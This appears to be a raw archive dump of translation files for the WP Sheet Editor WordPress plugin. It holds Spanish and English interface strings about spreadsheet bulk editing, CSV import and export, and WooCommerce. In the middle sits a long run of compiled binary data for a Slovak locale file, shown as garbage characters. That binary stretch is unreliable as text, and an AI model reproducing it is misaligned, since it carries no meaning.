tengas 1000 filas , puede que quieras abrir la hoja de cálculo y empezar a editar desde las fila 200. Esta opción te permite saltar muchas filas. IMPORTANTE. Usamos la paginación, así que mostraremos la página más cercana a ese número. Por ejemplo, si cargas 10 filas por página e ingresas 1205 como desplazamiento, la hoja comenzará desde la página 120 (índice 1200) porque es la página más cercana al desplazamiento definido.Cuando se importa una imagen mediante URLs de FTP, la imagen se importa cada vez y puedes terminar con duplicados en la biblioteca multimedia. Habilita esta opción para reutilizar las imágenes de la biblioteca multimedia con el mismo nombre de archivo y evita descargar la imagen FTP de nuevo en futuras importaciones. Desactiva esta opción si quieres mantener las imágenes actualizadas en futuras importaciones.Cuando cargas la hoja de cálculo, obtenemos todas las columnas a la vez de la base de datos para hacerlo más rápido, esto se llama prefetch. Esto puede causar problemas si tienes miles de columnas o configuraciones raras en tus bases de datos.Cuando abres la hoja de cálculo, cargamos las filas automáticamente para que puedas empezar a editar de inmediato. Habilita esta opción si quieres buscar filas y cargarlas manualmente.Cuando usas una red multisitios y borras usuarios en la hoja de cálculo de usuarios, por defecto solo removemos el usuario del sitio actual. Habilita esta opción para eliminar al usuario de toda la red.¿Qué duplicados quieres eliminar?¿Qué filas quieres exportar?¿Qué variaciones quieres copiar?AnchuraCon nuestro editor podrás editar toda la información de
                  tus %s, ahorrándote mucho tiempo.Con estos archivosCon estoCon este archivoCon este términoWooCommerce - Integración BASICAIntegración con Productos WooCommerceCupones WooCommerceHoja de Cálculo de Cupones de WooCommerceHoja de Cálculo de Clientes de WooCommerceHoja de Cálculo de Pedidos de WooCommerceProductos WooCommerceCampo en WordPressCampo en WordPressWordPress utiliza la API de heartbeat para comprobar el estado de inicio de sesión cada pocos segundos. Esto puede sobrecargar el servidor, ya que podría hacer cientos de peticiones cuando se está editando en la hoja de cálculo. Puedes deshabilitarla para reducir el estrés en tu servidor mientras editas en la hoja de cálculo. Sin embargo, si mantienes la hoja de cálculo abierta durante varios días, tu sesión de inicio de sesión puede caducar y no se te notificará si dehabilitas el heartbeat, lo que puede causar problemas al guardarla. Así que usa esta opción sólo cuando uses la hoja de cálculo durante unas pocas horas.Tipo de escritura no permitida.Formato de datos incorrectoExtensión del archivo incorrecta. Sólo aceptamos archivos CSVURL del archivo incorrectaTipo de producto equivocado. Asegúrate que sea un producto variable.XYOAST SEOAñosSíSí, eliminar todo lo que aparece después del texto, incluyendo el textoNo puedes realizar esta acción. Por favor, recarga la página o inicia sesión de nuevo.Puedes habilitar esta opción si quieres añadir clases html, y usar esas clases html para cambiar los colores de las celdas para cada estado usando CSS personalizadoPuedes cambiar el idioma de esta entrada. Si existe la traducción para el nuevo idioma, este cambio no se aplicará.Puedes convertir productos simples en productos variables. Puedes copiar las variaciones en un producto simple y mantener los precios del producto simple en las variaciones.Puedes crear nuevas filas aquíPuedes hacer esto varias vecesPuedes editar tu información multimedia como:Puedes editar la información de tus productos WooCommerce como:Puedes encontrar todos los ajustes aquí, como la visibilidad de las columnas, etc.Puedes leer nuestras Preguntas Frecuentes con una lista de cientos de preguntasPuedes cambiar el tamaño del editorPuedes buscar por cualquier campo usando operadores. Por ejemplo: precio > 100, imagen != (vacío)Puedes seleccionar las filas a editar en la primera opción de este formulario.Puedes empezar a usar el editor de hojas de cálculo en sólo 5 minutos. Por favor, sigue estos pasos.Puedes utilizar variables para insertar el valor de cualquier columna.No tiene suficientes permisos para borrar filas.No tienes suficientes permisos para crear nuevas filas.No tienes suficientes permisos para realizar esta acción.No tienes suficientes permisos para ejecutar esta acción.No tienes suficientes permisos para cargar filas.No tienes suficientes permisos para guardar los cambios.No tienes suficientes permisos para buscar taxonomías.No tienes suficientes permisos para ver esta página.Ingresaste una formula inválida. Por favor, verifica otra vez o contáctanos.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo.Has modificado filas. Por favor, guarda los cambios porque actualizaremos la hoja de cálculo. ¿Quieres recargar ahora?Has modificado filas. Por favor, guarda los cambios antes de eliminar columnas de la hoja de cálculo.Debes ingresar un nombre de archivo en este campo (no la ruta completa) y subir el archivo a la carpeta %sDebes ingresar la jerarquía completa como padre > hijoTienes que configurar la API key de Google Maps para poder guardar valores en las columnas de mapas de Advanced Custom Fields. Esto es requerido por Advanced Custom Fields, puedes seguir este tutorialNecesitas cargar las filas manualmente porque desactivaste la carga automática de filas. Cambiar los ajustesNecesitas iniciar sesión para ver esta página.Necesitas establecer un logotipo en la página de ajustes. Opcionalmente, puedes cambiar el color de fondo, el color de los enlaces y establecer un menú de navegación de la cabecera.Seleccionaste 0 filas para borrarlas completamente.Seleccionaste una columna del archivo CSV de abajo, pero la columna no está
                  siendo importada. Por favor, ve al paso anterior y selecciona la columna a importar.
                  Ejemplo hipotético, si quieres actualizar productos existentes con el mismo ID, necesitas importar la columna ID, de lo contrario no tenemos los ID para encontrarlos.Podrás escribir números sin formato, por ejemplo: 999999.88 o 100, y los guardaremos automáticamente con formato. Esta conversión se producirá cuando guardes y no en directo cuando edites en las celdas y verás los valores modificados en la siguiente recarga de la hoja de cálculo.Podrás escribir el título de la entrada en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre del término en la celda y ésta mostrará un desplegable con sugerencias.Podrás escribir el nombre de usuario en la celda y ésta mostrará un desplegable con sugerencias.El servidor no ha podido procesar este lote. ¿Quieres intentarlo de nuevo?Tu servidor no fue capaz de procesar este lote. ¿Quieres intentarlo de nuevo? Puedes volver a intentarlo 3 veces, y si los 3 intentos fallan, pararemos la importación completamente.vacíoEs destacado?oFecha finalSe eliminaron {deleted} duplicados.{total_created} de {total} variaciones han sido creadas.Se combinaron {updated} atributos.Se han guardado {updated} elementos de {total} elementos que necesitan guardarse.modules/wp-sheet-editor/lang/vg_sheet_editor-sk_SK.mo000064400000502714147600365160016715 0ustar00c4#LFLF>MFSFFPGrHzHHHHHHMHGBI.IIMIJJKB"LeL3M7M>MYN\NK O:UO'OpO)PDPQRSTXULpUUBVVwW2LXYZJ[[^\Y]0D^Xu^k^:`abJcMdadee}fygMhliKc hr = 9>R\Xm]A]9ËŌ̍ߍ  2I[d k"y`H_ pz  Ə$ҏ  + 63BJv&א  -a>/. &7?RH.)ʒH=U-k&n(/{XԔ1!18 j*x ĕ6֕ "8[p Җޖ,%B Q]pw{{4FY `k }8 Ù0Ι0-0R^ ȚԚ("6 Y#z2+ћ&$-B3pԝ"ݝ*.+Z m!z7&Ԟ  .;KZp ɟ  5 N\wq "!)!#A)e(F2 4?U k y:1¥2 0:@G _j ~5 2(ܧZT+\jQ Ъުqd֫.'(@i.(3\sqCjD,ۯͰW9K0h1?˱ G$ l:vɲ4+dG  ƳCҳ38I P6^  ,Ŵ)BSfn w; ɵY O\ ny}y0W@6 JX&a ú޺GFc  Ȼ ֻW]Ծ (+.+Z&&&Կ:6'S%{@8?2r`uEnbPquA@S, @K bqX<z $# -wD{8L]XnD_ 'l6   ) 7xC:)-3 :FKP_z2   *' R `m:@ MVsxZ57T  ;# # .;UZ yd6 (%qN , %v8+@'lI)053i,e$^&BKQW!h  <b+(CTe+7cs_n v##   1>DLd mz ~-* ' H V dq u:,L,y..$? $s{<r, G%@"Or vv  % 8 E R\ ` l w ! +!/M5}( )&3Zqz" %%#>b}dI@>( "<:C~  ",Oi(y$ &7p^^.F_f|'8? E1R"48 8#*\{iQ7$Q\vSE'WmB9/+b[,! V/z?z>Sxi ue+$' %% D ! 6; -r A ^ gA W W DY B T +63b=}RP'@_HLP/e^AKAR+(T pzh(.   $2'Go  ,<M^t |*"99&`t}PC X  l z   .   8 +!)1![!q! !!!!! !!!!" " " "'"7"M"c"t"""""J"*$#lO#e#U"$ix$Q$-4%b%@&3(()O#*s+,=,,y-?U.>/7/> 04K001o1222392#m2#225235'3:]3#32343$4B44r56a67739:v;`=c>/??'@%A&Af,AA AAA"ABB!4BVBuBBBBD(DD7 EEE GEQEWEN[EzE%FFF)G81GAjG9GGOHFPHXH4H3%I8YI.I1I:I3.JBbJYJuJ]uKK5KR)L|L$(MMM:Mg OeqOIO!PP PPP'P8P3QNRZ(SSQUTT)U#FU!jU*UUURUT V,uVVTVWWC-XSqYYZ ZZL[[N\>\#(]pL]]f^2`DaIb:ccRcEdTe#nef|gGhCiL kmkl#m9,nhfnnpGr)sPu]buuvxw/Ax8qyzC||w}A~S~zȀxCfց=XnAZQ)*ք  "1*H]s"ц Ї%4 '>Oj ]ىY7ˊԊ"%!;]6w*5ً.WJYIL9;Yu@ώ7$Hm#G $<PS_(ܐ 3N_r -[3. ޓ!4JRrܔ\ckz|Йm S!5WS _v  ߦ  %/8)Hkrާ@C V`~˨/ڨ# .7GWFfe10b q|r55 k9vګr5Z+E .<+k+D3&*<Q; ۯ7 HT+rŰհ+0?FY.]+ бܱ,ij (9IhZô?ִA?Xa  %0Ct*+,91Q+!3ѷ0_62 ɹ7Թ1 />n "6.*<T eѻ  5( ^j ! оپ ! (->V; _T1f76<sK|  /@TJl.c `Aj ;lUe<Xgz20/)9."(KOuN, ]-@@H=P ?>DW@q;n ]gox^& /6?E ?%+<Sj   4'*HWd T 1=(Dm| "TKp  $W*A%"-P_3f%(#' +56a%#N;HYQGNBvq{$ PP  (2)[#1"lGtZ3;K #:#: BM Uc ku)V -;JZp u!D4%Z6qbDMjo#&u [,| a%Ekq z#"+!4C  2#,<P/O _#l ~0[91k3F>v d/ G Q[`$v & S\d7  ? P &k n h  j        + . = ]  n  y      2  2 &N u "      '6oQBC:_;!& )|uI|< Q5H~.y"*BF `jz    $>Ne~&7B?C#6! = ^1l$2 >W)g%qJ?,> R ]i=P6H Y d  - $7\6v1!1(Nwl!X{!!! ""%"6"I"\"s""""" "" "7#??#####$Q$C% H%R%W%3q%3%%&]e'')'h)Yo)R)]*Gz**5+0+h*,$, ,,x-$(.M. ..;v//502n33$4%;4'a4'44475(l6Q7'7?8 O8Ep8e8c9Y9h9HC:G:T:");^L;G<y<+m= ?!A:ABPBXB7MCCE0F>7FIvFF*fGGGGGwfHHII!JJJJKKKKK"K;LTLL M1MBMRMcM|MMM2M"M)NC8NJ|N(NzNtkOOO$P;P/ZPP?PPPDQLQ(TQ}QQ QQQ QQQRR(R?R QR \R jRtRRRR R RRRSD$S+iSSj'TaTdTNYU1UUJVYYxZ[\]<^W^^Y_<"a8_a:a5a bb|Rc c ccBdDd cdd2dd.d4eRe9re=e!e ffkggWhhi^k]m nouq]r+s%Bt%httptuu!u&3u#Zu~uu!u uuvvG&vnx0xxCxy y(y.yT3yhyy%zz:zO&{Gv{={"{o|F|b|>9}8x}8}6}2!~ET~<~I~D!`fJ31oeՀ58Cf|kGO-6EK*NRy (You can remove these help messages in the advanced settings) (Premium. Try for Free for 7 Days) If it doesn't start automatically you can find the file in the folder /wp-content/uploads/wp-sheet-editor-universal-sheet/exports/ on your server.

                  The export files are deleted automatically after %d hours. Some columns have the button to change the formatting%d of %d items have been processed from the file. {total_updated} items updated and {total_created} items created.%s rows will be edited.%s variations created.%s: Allowed spreadsheet views(Install free extension)(Pro extension)- -- First, edit one item in the normal editor and fill all the fields manually.- If the previous solution failed, you can create new columns manually.- Maybe you deleted the columns from the list.- We can help you.- We can scan the database, find new fields, and create columns automatically--. Lite version. Showing all products and all fields as columns, 15 columns are editable and the rest are read only.
                  Upgrade: Edit in Excel/Google Sheets, export, import, bulk edit thousands of products at once.. Upgrade: Export, import, edit in Excel or Google Sheets; bulk edit thousands of rows at once, edit all the fields from other plugins, and more. Upgrade and Save Days of Work. Add child categories using this format: Parent > child1 > child2. We recommend you increase the server memory to at least 256mb to prevent server errors. Tutorial...0 rows1. Open Google Sheets.
                  2. Click on "wp sheet editor" in the menu
                  3. Enter this link in the "quick access" option in the Google Sheet sidebar.1. Are we reading the file properly? Here is a preview of the first 5 rows from the file.2. Please make a backup before executing the import, so you can revert in case you used wrong settings or the file was wrong. The import will save the information directly.Read moreView the entire changelogEditing the field: {field_label}Money back guarantee. Buy the plugin without worries. We'll give you a refund if the plugin doesn't work.Tip from WP Sheet Editor: Edit thousands of categories at once, make advanced searches, view all the info in one page, and more.Tip from WP Sheet Editor: You can view all the users in a table, view thousands of full profiles, edit hundreds of users at once without crashing your server, view all shipping/billing/buddypress information. Make advanced searches, create hundreds of users, and more. Download PluginTip from WP Sheet Editor: You can view and edit Product Variations in a spreadsheet, bulk edit, make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereAccept post from this post typeActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add newAdd new columnAdd new post typeAdd new postsAdd this code at the beginning of the .htaccess file in the root directory of your website. It is required for authenticating requests between Google Sheets and WordPressAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAllAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the variable productsAllowAllow backordersAllow multiple files per field?Allow multiple posts per field?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlternative textAnd more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsApply to:Are you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChanges savedChanges saved successfullyCheckboxClear valueClick here to show all columns againClicks avoided
                  (estimated)CloseColumn formatColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn width (pixels)Columns could not be saved. Try again.Columns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)CommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy this access link and paste it in Google Sheets. Get quick access linkCopy variationsCopy variations and attributes from this product:Copy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrent spreadsheet: %sCustom Database Tables SpreadsheetCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresData missing, try again later.Data sourceDateDate range fromDaysDeactivate everything. Use the REST API onlyDeactivate the data prefetchDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefault attributeDefault attributesDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisplay raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to update or create items?Download %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).Dropdown with predefined optionsDuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate this item:ENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in Google SheetsEdit in a SpreadsheetEdit meta keyEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the REST APIEnable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this:
                  red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by commasEnter one URL per lineEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error 8391. You dont have enough permissions to view this page.Error on row ID: %d - %sError. The math engine could not execute the math operation: %s, ID: %dError: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExecute formula on future posts automatically (Advanced users only)Execute on future posts onlyExitExit Full ScreenExportExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtensionsFTP Images: Skip images with same file name?Featured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldField to update:File (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:Fixed more than 13 bugsFor example, if you searched for posts by "author = Mark" using the search tool, we will export only posts with "author Mark"For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the post type "product", we will only accept product titles.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)Formula parameters:Formula type:FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerated formula:Get instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHere you can view all the formulas saved for ongoing execution. These formulas will be executed on posts matching the filters when they are created or updated in the spreadsheet.Hide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow do we find 